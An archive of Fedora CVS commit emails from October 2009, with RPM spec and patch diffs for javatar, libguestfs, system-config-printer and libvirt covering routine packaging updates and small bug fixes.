+
+	<target name="clean" depends="init">
+		<delete dir="${build}" />
+	</target>
+
+	<target name="zip" depends="deploy">
+		<zip zipfile="${basedir}/javatar-${relnum}.zip">
+			<zipfileset
+				dir="${build}"
+				prefix="javatar-${relnum}/"
+				/>
+		</zip>
+
+	<tar tarfile="${basedir}/javatar-${relnum}.tar" >
+		<tarfileset
+			dir="${build}"
+			prefix="javatar-${relnum}/"
+			/>
+	</tar>
+
+	<gzip
+		src="${basedir}/javatar-${relnum}.tar"
+		zipfile="${basedir}/javatar-${relnum}.tar.gz"
+		/>
+
+  	</target>
+
+	<target name="deploy" depends="compile,source,doc">
+		<jar
+			jarfile="${jardir}/tar.jar"
+			manifest="${tardir}/META-INF/MANIFEST.MF"
+			>
+			<fileset dir="${classdir}" />
+  		</jar>
+	</target>
+
+	<target name="compile" depends="init">
+		<javac
+			srcdir="${srcdir}"
+			destdir="${classdir}"
+			verbose="${my.verbose}"
+			deprecation="${my.deprec}"
+			>
+
+			<include name="com/ice/tar/"/>
+
+			<classpath>
+				<pathelement location="${activationjar}" />
+			</classpath>
+
+		</javac>
+	</target>
+
+	<target name="source" depends="init">
+		<copy todir="${sourcedir}">
+			<fileset
+				dir="${srcdir}"
+				includes="com/ice/tar/"
+				excludes="**/CVS/"
+				/>
+		</copy>
+	</target>
+
+	<target name="doc" depends="javadoc,docs">
+	</target>
+
+	<target name="docs" depends="init">
+		<copy todir="${docdir}">
+			<fileset
+				dir="${tardir}/doc/"
+				excludes="**/CVS/"
+				/>
+		</copy>
+	</target>
+
+	<target name="javadoc" depends="init" unless="javadoc.notreq">
+  		<javadoc
+			packagenames="com.ice.tar"
+			destdir="${apidocdir}"
+			author="true"
+			version="true"
+			use="true"
+			windowtitle="Java Tar by Tim Endres"
+			bottom="${copyright}"
+			>
+
+			<group title="Java Tar" packages="com.ice.tar"/>
+
+			<link href="http://java.sun.com/products/jdk/1.3/docs/api/"/>
+
+			<sourcepath>
+				<pathelement location="${srcdir}"/>
+			</sourcepath>
+
+			<classpath>
+				<pathelement location="${activationjar}" />
+			</classpath>
+
+		</javadoc>
+	</target>
+
+	<target name="init" depends="init-props,echo-props">
+
+		<tstamp/>
+
+		<mkdir dir="${build}" />
+		<mkdir dir="${docdir}" />
+		<mkdir dir="${apidocdir}" />
+		<mkdir dir="${jardir}" />
+		<mkdir dir="${classdir}" />
+		<mkdir dir="${sourcedir}" />
+
+		<uptodate property="javadoc.notreq" targetfile="${apidocdir}/index.html" >
+			<srcfiles dir="${srcdir}" includes="**/*.java"/>
+		</uptodate>
+
+	</target>
+
+	<target name="echo-props">
+		<echo message="basedir=${basedir}" />
+		<echo message="build=${build}" />
+		<echo message="bindir=${bindir}" />
+		<echo message="jardir=${jardir}" />
+		<echo message="classdir=${classdir}" />
+		<echo message="sourcedir=${sourcedir}" />
+		<echo message="srcdir=${srcdir}" />
+	</target>
+
+	<target name="init-props">
+		<property name="my.verbose" value="off"/>
+
+		<!-- TAGS -->
+		<property name="reltag" value="release-2-5" />
+		<property name="relnum" value="2.5" />
+
+		<!-- DIRECTORIES -->
+		<property name="build" value="${basedir}/tar-${relnum}" />
+
+		<property name="classdir" value="${build}/classes" />
+		<property name="jardir" value="${build}/jars" />
+		<property name="docdir" value="${build}/doc" />
+		<property name="apidocdir" value="${docdir}/api" />
+		<property name="sourcedir" value="${build}/source" />
+
+		<property name="srcdir" value="${basedir}/source" />
+		<property name="tardir" value="${srcdir}/com/ice/tar" />
+
+		<!-- JARS -->
+		<property name="activationjar"
+			value="/usr/share/java/activation.jar" />
+
+		<!-- GLOBALS -->
+		<property name="java.home" value="C:/java/jdk1.3"/>
+		<property name="java.lib" value="${java.home}/jre/lib"/>
+		<property name="build.compiler" value="modern"/>
+
+		<property name="copyright"
+			value="&lt;i&gt;This software has been placed into the public domain.&lt;/i&gt;"
+			/>
+	</target>
+
+</project>
+


--- NEW FILE javatar.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           javatar
Version:        2.5
Release:        2%{?dist}
Summary:        Java tar archive io package

Group:          Development/Libraries
License:        Public Domain
URL:            http://www.trustice.com/java/tar/
Source0:        http://www.gjt.org/download/time/java/tar/javatar-%{version}.tar.gz
# Fix srcdir and point to system activation.jar
Patch0:         %{name}-2.5-build.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant
BuildRequires:  classpathx-jaf

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

Requires:       jpackage-utils
Requires:       java
Requires:       classpathx-jaf

%description
The package com.ice.tar implements a tar archive io package. This package
allows you to create, and extract tar archives. Since the package uses
InputStream and OutputStream, it is possible to combine this package with the
java.util.zip package to handle .tar.gz files.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Development Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q
%patch0 -p1 -b .build
find \( -name '*.jar' -o -name '*.class' \) -exec rm -f '{}' +
# Fix line endings
find \( -name '*.java' -o -name '*.txt' -o -name '*.xml' -o -name LICENSE \) -exec sed -i 's/\r//' '{}' +
#Remove manifest classpath and name
sed -i -e '/^Class-Path:/d' -e '/^Name:/d' source/com/ice/tar/META-INF/MANIFEST.MF


%build
ant -buildfile source/com/ice/tar/build.xml deploy


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p tar-%{version}/jars/tar.jar \
  $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/tar.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/tar-%{version}.jar

mkdir -p $RPM_BUILD_ROOT%{_javadocdir}
cp -rp doc $RPM_BUILD_ROOT/%{_javadocdir}/%{name}

%if %{with_gcj}
rm -rf tar-%{version}/source
%{_bindir}/aot-compile-rpm
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%post
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%files
%defattr(-,root,root,-)
%doc doc/LICENSE
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}.jar
%{_javadir}/tar-%{version}.jar
%{_javadir}/tar.jar
%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}


%changelog
* Mon Oct 26 2009 Orion Poplawski <orion at cora.nwra.com> - 2.5-2
- Remove existing class files
- Package javadocs
- Make sure debuginfo has source files

* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 2.5-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/javatar/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:06:42 -0000	1.1
+++ .cvsignore	29 Oct 2009 17:20:37 -0000	1.2
@@ -0,0 +1 @@
+javatar-2.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/javatar/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:06:42 -0000	1.1
+++ sources	29 Oct 2009 17:20:37 -0000	1.2
@@ -0,0 +1 @@
+7dae3b92b70c30cfb6fd9699a79f821c  javatar-2.5.tar.gz



From rjones at fedoraproject.org  Thu Oct 29 17:22:47 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 17:22:47 +0000 (UTC)
Subject: rpms/libguestfs/devel .cvsignore, 1.53, 1.54 libguestfs.spec, 1.105,
	1.106 sources, 1.53, 1.54
Message-ID: <20091029172247.952A311C02A3@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24377

Modified Files:
	.cvsignore libguestfs.spec sources 
Log Message:
* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1
- New upstream release 1.0.75.
- New library: libhivex.
- New tools: virt-win-reg, hivexml, hivexget.
- Don't require chntpw.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/devel/.cvsignore,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- .cvsignore	20 Oct 2009 14:50:27 -0000	1.53
+++ .cvsignore	29 Oct 2009 17:22:46 -0000	1.54
@@ -1 +1 @@
-libguestfs-1.0.74.tar.gz
+libguestfs-1.0.75.tar.gz


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/devel/libguestfs.spec,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- libguestfs.spec	20 Oct 2009 14:50:27 -0000	1.105
+++ libguestfs.spec	29 Oct 2009 17:22:46 -0000	1.106
@@ -4,7 +4,7 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.74
+Version:     1.0.75
 Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
@@ -71,9 +71,6 @@ BuildRequires: perl-Sys-Virt
 # Runtime requires:
 Requires:      qemu-kvm >= 0.10-7
 
-# For virt-inspector --windows-registry option.
-Requires:      chntpw >= 0.99.6-8
-
 # For libguestfs-test-tool.
 Requires:      genisoimage
 
@@ -194,6 +191,9 @@ unstructured fixes to virtual machines.
 
 Virt-tar is an archive, backup and upload tool for virtual machines.
 
+Virt-win-reg lets you look inside the Windows Registry for
+Windows virtual machines.
+
 
 %package -n ocaml-%{name}
 Summary:     OCaml bindings for %{name}
@@ -374,6 +374,8 @@ rmdir keep
 # Delete static libraries, libtool files.
 rm $RPM_BUILD_ROOT%{_libdir}/libguestfs.a
 rm $RPM_BUILD_ROOT%{_libdir}/libguestfs.la
+rm $RPM_BUILD_ROOT%{_libdir}/libhivex.a
+rm $RPM_BUILD_ROOT%{_libdir}/libhivex.la
 
 # Clean up the examples/ directory which will get installed in %doc.
 # Note we can't delete the original examples/Makefile because that
@@ -440,8 +442,11 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING
 %{_bindir}/libguestfs-supermin-helper
 %{_bindir}/libguestfs-test-tool
+%{_bindir}/hivexml
+%{_bindir}/hivexget
 %{_libdir}/guestfs/
 %{_libdir}/libguestfs.so.*
+%{_libdir}/libhivex.so.*
 %{_libexecdir}/libguestfs-test-tool-helper
 %{_mandir}/man1/libguestfs-test-tool.1*
 
@@ -452,8 +457,12 @@ rm -rf $RPM_BUILD_ROOT
 %doc src/generator.ml
 %doc installed-docs/*
 %{_libdir}/libguestfs.so
+%{_libdir}/libhivex.so
+%{_mandir}/man1/hivexml.1*
+%{_mandir}/man1/hivexget.1*
 %{_mandir}/man3/guestfs.3*
 %{_mandir}/man3/libguestfs.3*
+%{_mandir}/man3/hivex.3*
 %{_includedir}/guestfs.h
 %{_includedir}/guestfs-actions.h
 %{_includedir}/guestfs-structs.h
@@ -483,6 +492,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/virt-rescue.1*
 %{_bindir}/virt-tar
 %{_mandir}/man1/virt-tar.1*
+%{_bindir}/virt-win-reg
+%{_mandir}/man1/virt-win-reg.1*
 
 
 %files -n ocaml-%{name}
@@ -550,6 +561,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1
+- New upstream release 1.0.75.
+- New library: libhivex.
+- New tools: virt-win-reg, hivexml, hivexget.
+- Don't require chntpw.
+
 * Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
 - New upstream release 1.0.74.
 - New API call: guestfs_find0.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/devel/sources,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- sources	20 Oct 2009 14:50:27 -0000	1.53
+++ sources	29 Oct 2009 17:22:46 -0000	1.54
@@ -1 +1 @@
-669f27a4590298feb0ea6749499b02e1  libguestfs-1.0.74.tar.gz
+ccde2fd4f9422ba3f468acc6477f204d  libguestfs-1.0.75.tar.gz



From rjones at fedoraproject.org  Thu Oct 29 17:24:26 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 17:24:26 +0000 (UTC)
Subject: rpms/libguestfs/F-12 .cvsignore, 1.53, 1.54 libguestfs.spec, 1.105, 
	1.106 sources, 1.53, 1.54
Message-ID: <20091029172426.725A411C02A3@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25169

Modified Files:
	.cvsignore libguestfs.spec sources 
Log Message:
* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1
- New upstream release 1.0.75.
- New library: libhivex.
- New tools: virt-win-reg, hivexml, hivexget.
- Don't require chntpw.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-12/.cvsignore,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- .cvsignore	20 Oct 2009 14:50:23 -0000	1.53
+++ .cvsignore	29 Oct 2009 17:24:25 -0000	1.54
@@ -1 +1 @@
-libguestfs-1.0.74.tar.gz
+libguestfs-1.0.75.tar.gz


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-12/libguestfs.spec,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- libguestfs.spec	20 Oct 2009 14:50:23 -0000	1.105
+++ libguestfs.spec	29 Oct 2009 17:24:26 -0000	1.106
@@ -4,7 +4,7 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.74
+Version:     1.0.75
 Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
@@ -71,9 +71,6 @@ BuildRequires: perl-Sys-Virt
 # Runtime requires:
 Requires:      qemu-kvm >= 0.10-7
 
-# For virt-inspector --windows-registry option.
-Requires:      chntpw >= 0.99.6-8
-
 # For libguestfs-test-tool.
 Requires:      genisoimage
 
@@ -194,6 +191,9 @@ unstructured fixes to virtual machines.
 
 Virt-tar is an archive, backup and upload tool for virtual machines.
 
+Virt-win-reg lets you look inside the Windows Registry for
+Windows virtual machines.
+
 
 %package -n ocaml-%{name}
 Summary:     OCaml bindings for %{name}
@@ -374,6 +374,8 @@ rmdir keep
 # Delete static libraries, libtool files.
 rm $RPM_BUILD_ROOT%{_libdir}/libguestfs.a
 rm $RPM_BUILD_ROOT%{_libdir}/libguestfs.la
+rm $RPM_BUILD_ROOT%{_libdir}/libhivex.a
+rm $RPM_BUILD_ROOT%{_libdir}/libhivex.la
 
 # Clean up the examples/ directory which will get installed in %doc.
 # Note we can't delete the original examples/Makefile because that
@@ -440,8 +442,11 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING
 %{_bindir}/libguestfs-supermin-helper
 %{_bindir}/libguestfs-test-tool
+%{_bindir}/hivexml
+%{_bindir}/hivexget
 %{_libdir}/guestfs/
 %{_libdir}/libguestfs.so.*
+%{_libdir}/libhivex.so.*
 %{_libexecdir}/libguestfs-test-tool-helper
 %{_mandir}/man1/libguestfs-test-tool.1*
 
@@ -452,8 +457,12 @@ rm -rf $RPM_BUILD_ROOT
 %doc src/generator.ml
 %doc installed-docs/*
 %{_libdir}/libguestfs.so
+%{_libdir}/libhivex.so
+%{_mandir}/man1/hivexml.1*
+%{_mandir}/man1/hivexget.1*
 %{_mandir}/man3/guestfs.3*
 %{_mandir}/man3/libguestfs.3*
+%{_mandir}/man3/hivex.3*
 %{_includedir}/guestfs.h
 %{_includedir}/guestfs-actions.h
 %{_includedir}/guestfs-structs.h
@@ -483,6 +492,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/virt-rescue.1*
 %{_bindir}/virt-tar
 %{_mandir}/man1/virt-tar.1*
+%{_bindir}/virt-win-reg
+%{_mandir}/man1/virt-win-reg.1*
 
 
 %files -n ocaml-%{name}
@@ -550,6 +561,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1
+- New upstream release 1.0.75.
+- New library: libhivex.
+- New tools: virt-win-reg, hivexml, hivexget.
+- Don't require chntpw.
+
 * Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
 - New upstream release 1.0.74.
 - New API call: guestfs_find0.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-12/sources,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- sources	20 Oct 2009 14:50:24 -0000	1.53
+++ sources	29 Oct 2009 17:24:26 -0000	1.54
@@ -1 +1 @@
-669f27a4590298feb0ea6749499b02e1  libguestfs-1.0.74.tar.gz
+ccde2fd4f9422ba3f468acc6477f204d  libguestfs-1.0.75.tar.gz



From twaugh at fedoraproject.org  Thu Oct 29 17:25:59 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 17:25:59 +0000 (UTC)
Subject: rpms/system-config-printer/F-11
	system-config-printer-strip-zjs.patch, 
	NONE, 1.1 system-config-printer.spec, 1.297, 1.298
Message-ID: <20091029172559.D648A11C02A3@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25688

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-strip-zjs.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
- Strip 'zjs' from make-and-model as well (bug #531869).


system-config-printer-strip-zjs.patch:
 ppds.py |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE system-config-printer-strip-zjs.patch ---
diff -up system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zjs system-config-printer-1.1.13/cupshelpers/ppds.py
--- system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zjs	2009-10-29 16:51:28.575897013 +0000
+++ system-config-printer-1.1.13/cupshelpers/ppds.py	2009-10-29 17:18:17.526021102 +0000
@@ -184,6 +184,7 @@ def ppdMakeModelSplit (ppd_make_and_mode
                    " ps3",
                    " pxl",
                    " series",
+                   " zjs",              # hpcups
                    " zxs",              # hpcups
                    " pcl3",             # hpcups
                    "_bt",


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-11/system-config-printer.spec,v
retrieving revision 1.297
retrieving revision 1.298
diff -u -p -r1.297 -r1.298
--- system-config-printer.spec	28 Oct 2009 15:58:53 -0000	1.297
+++ system-config-printer.spec	29 Oct 2009 17:25:59 -0000	1.298
@@ -7,7 +7,7 @@
 Summary: A printer administration tool
 Name: system-config-printer
 Version: 1.1.13
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2+
 URL: http://cyberelk.net/tim/software/system-config-printer/
 Group: System Environment/Base
@@ -27,6 +27,7 @@ Patch11: system-config-printer-no-cancel
 Patch12: system-config-printer-jobs-window-visibility.patch
 Patch13: system-config-printer-strip-zxs-pcl3.patch
 Patch14: system-config-printer-troubleshoot-network-printers.patch
+Patch15: system-config-printer-strip-zjs.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -87,6 +88,7 @@ the configuration tool.
 %patch12 -p1 -b .jobs-window-visibility
 %patch13 -p1 -b .strip-zxs-pcl3
 %patch14 -p1 -b .troubleshoot-network-printers
+%patch15 -p1 -b .strip-zjs
 
 %build
 %configure
@@ -188,6 +190,9 @@ rm -rf %buildroot
 exit 0
 
 %changelog
+* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5
+- Strip 'zjs' from make-and-model as well (bug #531869).
+
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
 - Troubleshoot: connect to the right server when choosing a network
   queue (bug #531482).



From markmc at fedoraproject.org  Thu Oct 29 17:26:05 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 17:26:05 +0000 (UTC)
Subject: rpms/libvirt/devel
	libvirt-logrotate-avoid-compressing-small-logs.patch, NONE,
	1.1 libvirt.spec, 1.194, 1.195
Message-ID: <20091029172605.DD49F11C02A3@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25728

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-logrotate-avoid-compressing-small-logs.patch 
Log Message:
* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.2-3
- Avoid compressing small log files (#531030)


libvirt-logrotate-avoid-compressing-small-logs.patch:
 libvirtd.logrotate.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE libvirt-logrotate-avoid-compressing-small-logs.patch ---
>From d7cca87f6c5ad2316934af8ecb95829b95b662c6 Mon Sep 17 00:00:00 2001
From: Dan Kenigsberg <danken at redhat.com>
Date: Wed, 21 Oct 2009 13:56:04 +0200
Subject: [PATCH] Do not log rotate very small logs

Without this, after few weeks without use, each defined domain grows a
tail of empty gzipped logs, instead of keeping just the last log of
interest.

* daemon/libvirtd.logrotate.in: only rotate when the log is over 100 KBytes

(cherry picked from commit b03fe2d0aefb57a096a102bf23375f0a167ca189)

Fedora-patch: libvirt-logrotate-avoid-compressing-small-logs.patch
---
 daemon/libvirtd.logrotate.in |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/daemon/libvirtd.logrotate.in b/daemon/libvirtd.logrotate.in
index 093651c..0c51fd3 100644
--- a/daemon/libvirtd.logrotate.in
+++ b/daemon/libvirtd.logrotate.in
@@ -5,4 +5,5 @@
         compress
         delaycompress
         copytruncate
+        minsize 100k
 }
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.194
retrieving revision 1.195
diff -u -p -r1.194 -r1.195
--- libvirt.spec	29 Oct 2009 10:57:55 -0000	1.194
+++ libvirt.spec	29 Oct 2009 17:26:05 -0000	1.195
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.2
-Release: 2%{?dist}%{?extra_release}
+Release: 3%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -159,6 +159,9 @@ Source: http://libvirt.org/sources/libvi
 # Fix qemu machine types handling
 Patch01: libvirt-qemu-machine-type-fixes2.patch
 
+# Avoid compressing small log files (#531030)
+Patch02: libvirt-logrotate-avoid-compressing-small-logs.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -372,6 +375,7 @@ of recent versions of Linux (and other O
 %setup -q
 
 %patch01 -p1
+%patch02 -p1
 
 %build
 %if ! %{with_xen}
@@ -784,6 +788,9 @@ fi
 %endif
 
 %changelog
+* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.2-3
+- Avoid compressing small log files (#531030)
+
 * Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.2-2
 - Make libvirt-devel require libvirt-client, not libvirt
 - Fix qemu machine types handling



From rjones at fedoraproject.org  Thu Oct 29 17:26:17 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 17:26:17 +0000 (UTC)
Subject: rpms/libguestfs/F-12 libguestfs.spec,1.106,1.107
Message-ID: <20091029172617.BBF7D11C02A3@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25884

Modified Files:
	libguestfs.spec 
Log Message:
Add missing BR libxml2-devel.


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-12/libguestfs.spec,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- libguestfs.spec	29 Oct 2009 17:24:26 -0000	1.106
+++ libguestfs.spec	29 Oct 2009 17:26:17 -0000	1.107
@@ -19,6 +19,7 @@ BuildRequires: febootstrap >= 2.3
 BuildRequires: augeas-devel >= 0.5.0
 BuildRequires: readline-devel
 BuildRequires: genisoimage
+BuildRequires: libxml2-devel
 BuildRequires: qemu-kvm >= 0.10-7
 BuildRequires: createrepo
 BuildRequires: glibc-static



From markmc at fedoraproject.org  Thu Oct 29 17:26:12 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 17:26:12 +0000 (UTC)
Subject: rpms/libvirt/F-12
	libvirt-logrotate-avoid-compressing-small-logs.patch, NONE,
	1.1 libvirt.spec, 1.194, 1.195
Message-ID: <20091029172612.3707611C02A3@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25807

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-logrotate-avoid-compressing-small-logs.patch 
Log Message:
* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-15
- Avoid compressing small log files (#531030)


libvirt-logrotate-avoid-compressing-small-logs.patch:
 libvirtd.logrotate.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE libvirt-logrotate-avoid-compressing-small-logs.patch ---
>From 918724aa76982224437384d712c182c332fa5ef9 Mon Sep 17 00:00:00 2001
From: Dan Kenigsberg <danken at redhat.com>
Date: Wed, 21 Oct 2009 13:56:04 +0200
Subject: [PATCH] Do not log rotate very small logs

Without this, after few weeks without use, each defined domain grows a
tail of empty gzipped logs, instead of keeping just the last log of
interest.

* daemon/libvirtd.logrotate.in: only rotate when the log is over 100 KBytes

(cherry picked from commit b03fe2d0aefb57a096a102bf23375f0a167ca189)

Fedora-patch: libvirt-logrotate-avoid-compressing-small-logs.patch
---
 qemud/libvirtd.logrotate.in |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/qemud/libvirtd.logrotate.in b/qemud/libvirtd.logrotate.in
index 093651c..0c51fd3 100644
--- a/qemud/libvirtd.logrotate.in
+++ b/qemud/libvirtd.logrotate.in
@@ -5,4 +5,5 @@
         compress
         delaycompress
         copytruncate
+        minsize 100k
 }
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.194
retrieving revision 1.195
diff -u -p -r1.194 -r1.195
--- libvirt.spec	29 Oct 2009 10:40:45 -0000	1.194
+++ libvirt.spec	29 Oct 2009 17:26:12 -0000	1.195
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 14%{?dist}%{?extra_release}
+Release: 15%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -211,6 +211,9 @@ Patch22: libvirt-fix-crash-on-device-hot
 # Fix segfault where interface target device name is ommitted (#523418)
 Patch23: libvirt-fix-crash-on-missing-iface-target-dev.patch
 
+# Avoid compressing small log files (#531030)
+Patch24: libvirt-logrotate-avoid-compressing-small-logs.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -449,6 +452,7 @@ of recent versions of Linux (and other O
 %patch21 -p1
 %patch22 -p1
 %patch23 -p1
+%patch24 -p1
 
 %build
 # Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
@@ -843,6 +847,9 @@ fi
 %endif
 
 %changelog
+* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-15
+- Avoid compressing small log files (#531030)
+
 * Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-14
 - Make libvirt-devel require libvirt-client, not libvirt
 - Fix xen driver recounting (#531429)



From rjones at fedoraproject.org  Thu Oct 29 17:26:40 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 17:26:40 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 .cvsignore, 1.34, 1.35 libguestfs.spec, 1.72, 
	1.73 sources, 1.34, 1.35
Message-ID: <20091029172640.C81B711C02A3@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26033

Modified Files:
	.cvsignore libguestfs.spec sources 
Log Message:
* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1
